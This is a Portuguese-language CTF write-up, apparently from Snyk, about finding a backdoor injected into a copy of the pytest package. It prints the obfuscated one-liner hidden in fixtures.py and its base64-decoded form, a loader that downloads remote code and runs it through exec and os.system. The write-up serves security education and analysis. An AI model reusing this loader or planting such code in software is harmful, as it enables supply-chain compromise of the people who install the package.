Skip to main content

Solução do Fetch the Flag CTF 2022: Pay Attention

Escrito por

Assaf Ben Josef

feature ctf pay attention

9 de novembro de 2022

0 minutos de leitura

Obrigado por participar do Fetch com a gente! Parabéns aos milhares de jogadores que participaram do Fetch the Flag CTF. E um agradecimento especial aos Snykers que criaram, testaram e documentaram os desafios!

Neste post, vamos ver como nossa equipe resolveu o desafio Pay Attention do Fetch the Flag CTF 2022 da Snyk. O desafio simula uma situação em que um pacote popular provavelmente foi sequestrado e transformado em algo malicioso — e vamos assumir o papel de pesquisadores de segurança investigando o caso!

Passo a passo

Ao começar, encontramos um arquivo para download, pytest-7.1.3.tar.gz, e a dica: “Você tem prestado atenção ultimamente?”.

De cara, notamos o nome do arquivo. Pytest é um framework de testes Python muito popular e, até o momento em que este texto foi escrito, a versão 7.1.3 era a mais recente. Portanto, parece que esse arquivo é um pacote da versão mais nova do pytest.

Mas ele não pode ser uma cópia idêntica do pytest 7.1.3 original, senão não teríamos por onde começar! Para confirmar, vamos acessar o repositório do pytest no GitHub e baixar o código-fonte da versão 7.1.3. Ao comparar as propriedades dos arquivos, percebemos que a versão do pytest no CTF é um pouco maior que a versão original.

Para descobrir exatamente onde os dois pacotes diferem, podemos extrair as pastas e compará-las no terminal com o comando diff -rq, que percorre recursivamente o conteúdo das pastas em busca de diferenças entre os arquivos. Por exemplo:

Terminal mostrando as diferenças entre dois diretórios do pytest, incluindo alterações em setup.cfg e em arquivos de código-fonte Python.

Encontramos algumas pequenas diferenças em arquivos de metadados. Mas, mais importante, um dos arquivos de código-fonte, fixtures.py, é diferente nas duas pastas — deve ser isso!

Analisando o código suspeito

Ao inspecionar o arquivo no nosso IDE favorito e percorrê-lo por um tempo (ou ao receber um alerta do IDE sobre uma indentação inesperada), encontramos esta linha de código suspeita:

__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),'<string>','\x65\x78\x65\x63'))

À primeira vista, essa linha parece importar algumas bibliotecas e depois chamar funções interessantes, como b64decode e exec. Isso é definitivamente suspeito, mas ainda não dá para saber exatamente o que está acontecendo. Vamos decodificar.

Vamos começar pelas strings mais curtas que seguem um padrão semelhante, como \x65\x78\x65\x63.

Talvez alguns de vocês saibam que o Python 3 usa Unicode para representar strings. Se consultarmos a documentação do Python 3, vamos descobrir que esse padrão é apenas uma representação hexadecimal de dois dígitos dos pontos de código Unicode.

Mas, na verdade, não precisamos saber tudo isso. Ao observar a linha de código, vemos que essas strings são passadas sem alterações para funções nativas do Python, como __import__(). Portanto, podemos presumir que o interpretador do Python já sabe como lidar com elas. Basta abrir um REPL do Python e chamar a função print() com qualquer uma dessas strings para exibir sua representação Unicode legível. Por exemplo, print(‘\x65\x78\x65\x63’) exibiria a string exec. Legal!

Depois de resolver tudo isso, chegamos ao seguinte resultado:

__import__('builtins').exec(
   __import__('builtins').compile(
       __import__('base64').b64decode(
  "ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),
       '<string>', 'exec'))

Parece que esse script decodifica uma string em base64, compila o resultado e depois o executa. Agora queremos descobrir qual código está sendo executado. Vamos decodificar essa string em base64 com alguma ferramenta de decodificação online. O resultado é:

from tempfile import NamedTemporaryFile as _ff
from sys import executable as _ee
from os import system as _ss

_ttmp = _ff(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uu;exec(_uu('http://pay-attention.c.ctf-snyk.io/injector').read())""")
_ttmp.close()
try: _ss(f"{_ee} {_ttmp.name}")
except: pass

Desta vez, o código parece criar um arquivo temporário, gravar um script curto nele e depois executá-lo. O script nesse arquivo temporário baixa e executa um trecho de código de um recurso online (no domínio do Snyk CTF).

Queremos seguir as pistas e descobrir qual código é executado no final dessa cadeia, mas nos deparamos com um desafio e tanto. O código baixado está totalmente ofuscado! A única parte compreensível está bem no início — mas ela revela o nome e o repositório do GitHub da ferramenta usada para ofuscar o código: Hyperion.

Nossa primeira reação poderia ser pensar que, como temos o script ofuscado e o código-fonte da ferramenta de ofuscação, devemos colocar o chapéu de engenharia reversa e começar a trabalhar. No entanto, como o script parece muito bem ofuscado e o README do repositório da ferramenta no GitHub informa que ainda não existe uma ferramenta para desfazer a ofuscação, decidimos esgotar primeiro todas as outras possibilidades.

Com isso em mente, decidimos baixar primeiro o script ofuscado para um arquivo local e configurar um ambiente de depuração para ver se encontrávamos algo interessante durante a execução. Com nosso IDE favorito, podemos depurar e executar o código linha por linha para acompanhar o que acontece.

Aviso de segurança

Se fosse uma situação real e estivéssemos lidando com um script realmente criado para causar danos, faríamos tudo isso em um ambiente de sandbox seguro!

E, felizmente, depois de algum tempo, nosso pequeno olho consegue encontrar a flag escondida entre as variáveis declaradas (depois de remover as barras invertidas):

Depurador de código com tema escuro exibindo valores de variáveis, incluindo uma string longa, um método integrado para unir strings e None

Atenção redobrada!

Recapitulando, tivemos:

  • Um pacote aparentemente inofensivo, com uma linha de código suspeita injetada em um de seus arquivos

  • A linha de código compila e executa um script codificado em base64

  • Esse script cria e executa um arquivo temporário

  • Esse arquivo acessa um recurso remoto para baixar um script ofuscado e, em seguida, executá-lo

  • Ao inspecionar e depurar esse script ofuscado, finalmente encontramos a flag escondida entre suas declarações.

Esse tipo de ofuscação em várias camadas é muito comum em injeções de scripts maliciosos. Que jornada!

Quer saber como encontramos todas as outras flags? Acesse nossa página de soluções do Fetch the Flag para ver como fizemos.

Leia mais

illustration hero ai
Blog

PHP corrige duas vulnerabilidades críticas de RCE sem autenticação (CVE-2026-109618, CVE-2026-109619): atualize agora

Duas falhas críticas no ciclo de requisições do PHP podem permitir execução remota de código sem autenticação. Atualize para uma versão corrigida ou instale um backport do fornecedor para versões mais antigas.

blog feature ai lilac
Blog

Transforme seu backlog de vulnerabilidades em pull requests com remediação agentiva

O Evo Remediation Agent está em Open Preview e traz a resolução automatizada de dependências para o Evo Agentic AppSec. Agora, as equipes de AppSec podem executar campanhas contínuas de remediação

AI Background min crop
Blog

A IA está acionando todos os riscos que você aceitou: sete insights do painel de segurança de IA sem filtros

A IA está tornando os ataques mais baratos e rápidos, expondo riscos que as organizações já carregam. Quatro líderes de segurança explicam por que a defesa na velocidade das máquinas e a correção mais rápida são essenciais.